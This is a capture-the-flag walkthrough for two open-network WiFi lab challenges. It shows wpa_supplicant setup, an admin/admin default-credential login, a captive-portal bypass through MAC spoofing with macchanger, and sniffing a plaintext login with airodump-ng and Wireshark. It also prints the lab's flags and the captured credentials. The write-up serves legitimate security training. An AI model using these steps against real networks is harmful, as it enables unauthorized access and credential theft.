> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/wifi-challenge-labs/wifi-challenge-labs-complete-walkthrough/opn.md).
# OPN
### 05. What is the flag in the hidden AP router behind default credentials?
Once we know your ESSID we can connect to the network, for that we create a “free.conf’ file to connect from bash using “wpa\_supplicant”.
```
nano free.conf
```
```bash
network={
ssid="$ESSID"
key_mgmt=NONE
scan_ssid=1
}
```
```bash
sudo wpa_supplicant -Dnl80211 -iwlan2 -c free.conf
```
* **`wpa_supplicant`**: A daemon used to manage WPA/WPA2 authentication for Wi-Fi networks.
* **`-Dnl80211`**: Specifies the wireless driver backend.
* `nl80211` is the modern driver used for most Linux wireless devices.
* If `nl80211` doesn't work, you might try `wext` (legacy driver).
* **`-iwlan2`**: Specifies the wireless interface (`wlan2` in this case).
* You should check your actual interface name using `iwconfig` or `ip link show`.
* **`-c free.conf`**: Specifies the configuration file (`free.conf`) containing network credentials and settings.
In another terminal as root:
sudo dhclient wlan2 -v
* **`sudo`**: Runs the command with superuser privileges.
* **`dhclient`**: A DHCP (Dynamic Host Configuration Protocol) client that requests an IP address from a DHCP server.
* **`wlan2`**: The name of the wireless interface requesting the IP.
* **`-v`**: Enables verbose mode to display detailed output.
Once connected to the network and get IP with “dhclient” we can access the IP at IP 192.168.16.1 where we see a login where we can test default credentials such as admin/admin, accessing the admin panel where you can find the flag.
```
admin/admin
```
{% hint style="info" %}
flag{680efaa62f7e953c24667285173711bc6bb6d3ff}
{% endhint %}
#### Alternate Method to connect
### 06. What is the flag on the AP router of the wifi-guest network?
For this challenge we have to access the wifi-guest network and bypass the captive portal. We can connect with the same method as in the previous challenge, but when we try to access the AP we find a captive portal that asks us for credentials. The AP is in the channel 6, so can monitor it first.
```bash
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon -w ~/wifi/scanc6 --manufacturer --wps -c6
```
open.conf
```bash
network={
ssid="wifi-guest"
key_mgmt=NONE
}
```
```bash
wpa_supplicant -Dnl80211 -iwlan2 -c open.conf
```
In other terminal as sudo
```bash
dhclient -v wlan2
```
To bypass this login we can use the MAC of a client connected to that network that we see with traffic, for that we can use airodump-ng again and impersonate one of those MAC.
```bash
systemctl stop network-manager
ip link set wlan2 down
macchanger -m b0:72:bf:44:b0:49 wlan2
ip link set wlan2 up
```
```bash
wpa_supplicant -Dnl80211 -iwlan2 -c open.conf
```
```bash
sudo dhclient -v wlan2
```
Once we have changed the mac with “macchanger” we connect again with “wpa\_supplicant” and we can see that we can access the server login.
To obtain the login credentials we make a capture of “airodump-ng” saving the output with “-w” and after a while (3–5 min approx) we can see HTTP requests in the “.cap” file with “wireshark” in which there is a POST with username and password.
```bash
wireshark ~/*.cap
```
{% hint style="info" %}
Form item: "Username" = "free2"
Form item: "Password" = "5LqwwccmTg6C39y"
{% endhint %}
{% hint style="info" %}
flag{561004e3f4fd9fe640ecc0c411ac3129a4e08629}
{% endhint %}
